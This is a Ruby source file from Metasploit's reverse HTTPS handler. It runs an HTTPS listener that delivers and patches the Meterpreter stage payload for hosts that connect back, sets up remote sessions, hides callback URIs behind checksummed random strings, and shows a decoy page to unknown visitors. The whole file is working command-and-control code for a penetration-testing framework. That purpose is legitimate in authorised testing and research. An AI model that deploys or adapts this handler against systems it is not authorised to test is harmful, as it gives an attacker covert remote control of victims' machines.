hdm
318 lines
10 KiB
Ruby
318 lines
10 KiB
Ruby
require 'rex/io/stream_abstraction'
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require 'rex/sync/ref'
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module Msf
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module Handler
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###
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#
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# This handler implements the HTTP SSL tunneling interface.
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#
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###
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module ReverseHttps
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include Msf::Handler
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#
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# Returns the string representation of the handler type, in this case
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# 'reverse_http'.
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#
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def self.handler_type
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return "reverse_https"
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end
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#
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# Returns the connection-described general handler type, in this case
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# 'tunnel'.
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#
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def self.general_handler_type
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"tunnel"
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end
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#
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# Define 8-bit checksums for matching URLs
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# These are based on charset frequency
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#
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URI_CHECKSUM_INITW = 92
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URI_CHECKSUM_INITJ = 88
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URI_CHECKSUM_CONN = 98
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#
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# Precalculated checkums as fallback
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#
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URI_CHECKSUM_PRECALC = ["Zjjaq", "pIlfv", "UvoxP", "sqnx9", "zvoVO", "Pajqy", "7ziuw", "vecYp", "yfHsn", "YLzzp", "cEzvr", "abmri", "9tvwr", "vTarp", "ocrgc", "mZcyl", "xfcje", "nihqa", "40F17", "zzTWt", "E3192", "wygVh", "pbqij", "rxdVs", "ajtsf", "wvuOh", "hwRwr", "pUots", "rvzoK", "vUwby", "tLzyk", "zxbuV", "niaoy", "ukxtU", "vznoU", "zuxyC", "ymvag", "Jxtxw", "404KC", "DE563", "0A7G9", "yorYv", "zzuqP", "czhwo", "949N8", "a1560", "5A2S3", "Q652A", "KR201", "uixtg", "U0K02", "4EO56", "H88H4", "5M8E6", "zudkx", "ywlsh", "luqmy", "09S4I", "L0GG0", "V916E", "KFI11", "A4BN8", "C3E2Q", "UN804", "E75HG", "622eB", "1OZ71", "kynyx", "0RE7F", "F8CR2", "1Q2EM", "txzjw", "5KD1S", "GLR40", "11BbD", "MR8B2", "X4V55", "W994P", "13d2T", "6J4AZ", "HD2EM", "766bL", "8S4MF", "MBX39", "UJI57", "eIA51", "9CZN2", "WH6AA", "a6BF9", "8B1Gg", "J2N6Z", "144Kw", "7E37v", "9I7RR", "PE6MF", "K0c4M", "LR3IF", "38p3S", "39ab3", "O0dO1", "k8H8A", "0Fz3B", "o1PE1", "h7OI0", "C1COb", "bMC6A", "8fU4C", "3IMSO", "8DbFH", "2YfG5", "bEQ1E", "MU6NI", "UCENE", "WBc0E", "T1ATX", "tBL0A", "UGPV2", "j3CLI", "7FXp1", "yN07I", "YE6k9", "KTMHE", "a7VBJ", "0Uq3R", "70Ebn", "H2PqB", "83edJ", "0w5q2", "72djI", "wA5CQ", "KF0Ix", "i7AZH", "M9tU5", "Hs3RE", "F9m1i", "7ecBF", "zS31W", "lUe21", "IvCS5", "j97nC", "CNtR5", "1g8gV", "7KwNG", "DB7hj", "ORFr7", "GCnUD", "K58jp", "5lKo8", "GPIdP", "oMIFJ", "2xYb1", "LQQPY", "FGQlN", "l5COf", "dA3Tn", "v9RWC", "VuAGI", "3vIr9", "aO3zA", "CIfx5", "Gk6Uc", "pxL94", "rKYJB", "TXAFp", "XEOGq", "aBOiJ", "qp6EJ", "YGbq4", "dR8Rh", "g0SVi", "iMr6L", "HMaIl", "yOY1Z", "UXr5Y", "PJdz6", "OQdt7", "EmZ1s", "aLIVe", "cIeo2", "mTTNP", "eVKy5", "hf5Co", "gFHzG", "VhTWN", "DvAWf", "RgFJp", "MoaXE", "Mrq4W", "hRQAp", "hAzYA", "oOSWV", "UKMme", "oP0Zw", "Mxd6b", "RsRCh", "dlk7Q", "YU6zf", "VPDjq", "ygERO", "dZZcL", "dq5qM", "LITku", "AZIxn", "bVwPL", "jGvZK", "XayKP", "rTYVY", "Vo2ph", "dwJYR", "rLTlS", "BmsfJ", "Dyv1o", "j9Hvs", "w0wVa", "iDnBy", "uKEgk", "uosI8", "2yjuO", "HiOue", "qYi4t", "7nalj", "ENekz", "rxca0", "rrePF", "cXmtD", "Xlr2y", "S7uxk", "wJqaP", "KmYyZ", "cPryG", "kYcwH", "FtDut", "xm1em", "IaymY", "fr6ew", "ixDSs", "YigPs", "PqwBs", "y2rkf", "vwaTM", "aq7wp", "fzc4z", "AyzmQ", "epJbr", "culLd", "CVtnz", "tPjPx", "nfry8", "Nkpif", "8kuzg", "zXvz8", "oVQly", "1vpnw", "jqaYh", "2tztj", "4tslx"]
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#
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# Map "random" URIs to static strings, allowing us to randomize
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# the URI sent in the first request.
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#
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def process_uri_resource(uri_match)
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# This allows 'random' strings to be used as markers for
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# the INIT and CONN request types, based on a checksum
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uri_strip, uri_conn = uri_match.split('_', 2)
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uri_strip.sub!(/^\//, '')
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uri_check = Rex::Text.checksum8(uri_strip)
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# Match specific checksums and map them to static URIs
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case uri_check
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when URI_CHECKSUM_INITW
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uri_match = "/INITM"
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when URI_CHECKSUM_INITJ
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uri_match = "/INITJM"
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when URI_CHECKSUM_CONN
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uri_match = "/CONN_" + ( uri_conn || Rex::Text.rand_text_alphanumeric(16) )
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end
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uri_match
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end
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#
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# Create a URI that matches a given checksum
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#
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def generate_uri_checksum(sum)
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0.upto(1000) do
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uri = Rex::Text.rand_text_alphanumeric(4)
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return uri if Rex::Text.checksum8(uri) == sum
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end
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raise RuntimeError, "Unable to generate a string with checksum #{sum}"
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end
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#
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# Initializes the HTTP SSL tunneling handler.
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#
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def initialize(info = {})
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super
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register_options(
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[
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OptString.new('LHOST', [ true, "The local listener hostname" ]),
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OptPort.new('LPORT', [ true, "The local listener port", 8443 ])
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], Msf::Handler::ReverseHttps)
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register_advanced_options(
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[
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OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']),
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OptInt.new('SessionExpirationTimeout', [ false, 'The number of seconds before this session should be forcible shut down', (24*3600*7)]),
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OptInt.new('SessionCommunicationTimeout', [ false, 'The number of seconds of no activity before this session should be killed', 300])
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], Msf::Handler::ReverseHttps)
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end
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#
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# Toggle for IPv4 vs IPv6 mode
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#
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def ipv6
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self.refname.index('ipv6') ? true : false
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end
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#
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# Create an HTTPS listener
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#
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def setup_handler
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comm = datastore['ReverseListenerComm']
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if (comm.to_s == "local")
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comm = ::Rex::Socket::Comm::Local
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else
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comm = nil
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end
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# Start the HTTPS server service on this host/port
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self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
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datastore['LPORT'].to_i,
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ipv6 ? '::' : '0.0.0.0',
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true,
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{
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'Msf' => framework,
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'MsfExploit' => self,
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},
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comm,
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datastore['SSLCert']
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)
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# Create a reference to ourselves
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obj = self
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# Add the new resource
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service.add_resource("/",
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'Proc' => Proc.new { |cli, req|
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on_request(cli, req, obj)
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},
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'VirtualDirectory' => true)
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self.conn_ids = []
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uhost = datastore['LHOST']
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uhost = "[#{uhost}]" if Rex::Socket.is_ipv6?(uhost)
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print_status("Started HTTPS reverse handler on https://#{uhost}:#{datastore['LPORT']}/")
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end
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#
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# Simply calls stop handler to ensure that things are cool.
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#
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def cleanup_handler
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stop_handler
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end
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#
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# Basically does nothing. The service is already started and listening
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# during set up.
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#
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def start_handler
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end
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#
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# Removes the / handler, possibly stopping the service if no sessions are
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# active on sub-urls.
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#
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def stop_handler
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self.service.remove_resource("/") if self.service
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end
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attr_accessor :service # :nodoc:
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attr_accessor :conn_ids
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protected
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#
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# Parses the HTTPS request
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#
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def on_request(cli, req, obj)
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sid = nil
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resp = Rex::Proto::Http::Response.new
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print_status("#{cli.peerhost}:#{cli.peerport} Request received for #{req.relative_resource}...")
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lhost = datastore['LHOST']
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# Default to our own IP if the user specified 0.0.0.0 (pebkac avoidance)
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if lhost.empty? or lhost == '0.0.0.0' or lhost == '::'
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lhost = Rex::Socket.source_address(cli.peerhost)
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end
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lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
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uri_match = process_uri_resource(req.relative_resource)
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# Process the requested resource.
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case uri_match
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when /^\/INITJM/
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conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
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url = "https://#{lhost}:#{datastore['LPORT']}/" + conn_id + "/\x00"
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#$stdout.puts "URL: #{url.inspect}"
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blob = ""
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blob << obj.generate_stage
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# This is a TLV packet - I guess somewhere there should be API for building them
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# in Metasploit :-)
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packet = ""
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packet << ["core_switch_url\x00".length + 8, 0x10001].pack('NN') + "core_switch_url\x00"
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packet << [url.length+8, 0x1000a].pack('NN')+url
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packet << [12, 0x2000b, datastore['SessionExpirationTimeout'].to_i].pack('NNN')
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packet << [12, 0x20019, datastore['SessionCommunicationTimeout'].to_i].pack('NNN')
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blob << [packet.length+8, 0].pack('NN') + packet
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resp.body = blob
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conn_ids << conn_id
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# Short-circuit the payload's handle_connection processing for create_session
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create_session(cli, {
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:passive_dispatcher => obj.service,
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:conn_id => conn_id,
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:url => url,
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:expiration => datastore['SessionExpirationTimeout'].to_i,
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:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
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:ssl => false
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})
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when /^\/A?INITM?/
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url = ''
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print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")
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resp['Content-Type'] = 'application/octet-stream'
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blob = obj.stage_payload
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# Replace the transport string first (TRANSPORT_SOCKET_SSL
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i = blob.index("METERPRETER_TRANSPORT_SSL")
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if i
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str = "METERPRETER_TRANSPORT_HTTPS\x00"
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blob[i, str.length] = str
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end
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print_status("Patched transport at offset #{i}...")
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conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
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i = blob.index("https://" + ("X" * 256))
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if i
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url = "https://#{lhost}:#{datastore['LPORT']}/" + conn_id + "/\x00"
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blob[i, url.length] = url
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end
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print_status("Patched URL at offset #{i}...")
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i = blob.index([0xb64be661].pack("V"))
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if i
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str = [ datastore['SessionExpirationTimeout'] ].pack("V")
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blob[i, str.length] = str
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end
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print_status("Patched Expiration Timeout at offset #{i}...")
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i = blob.index([0xaf79257f].pack("V"))
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if i
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str = [ datastore['SessionCommunicationTimeout'] ].pack("V")
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blob[i, str.length] = str
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end
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print_status("Patched Communication Timeout at offset #{i}...")
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resp.body = blob
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conn_ids << conn_id
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# Short-circuit the payload's handle_connection processing for create_session
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create_session(cli, {
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:passive_dispatcher => obj.service,
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:conn_id => conn_id,
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:url => url,
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:expiration => datastore['SessionExpirationTimeout'].to_i,
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:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
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:ssl => true
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})
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when /^\/(CONN_.*)\//
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resp.body = ""
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conn_id = $1
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if true # if not self.conn_ids.include?(conn_id)
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print_status("Incoming orphaned session #{conn_id}, reattaching...")
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conn_ids << conn_id
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create_session(cli, {
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:passive_dispatcher => obj.service,
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:conn_id => conn_id,
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:url => "https://#{datastore['LHOST']}:#{datastore['LPORT']}/" + conn_id + "/\x00",
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:expiration => datastore['SessionExpirationTimeout'].to_i,
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:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
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:ssl => true
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})
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end
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else
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print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{uri_match} #{req.inspect}...")
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resp.code = 200
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resp.message = "OK"
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resp.body = "<h3>No site configured at this address</h3>"
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end
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cli.send_response(resp) if (resp)
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# Force this socket to be closed
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obj.service.close_client( cli )
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end
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end
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end
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end
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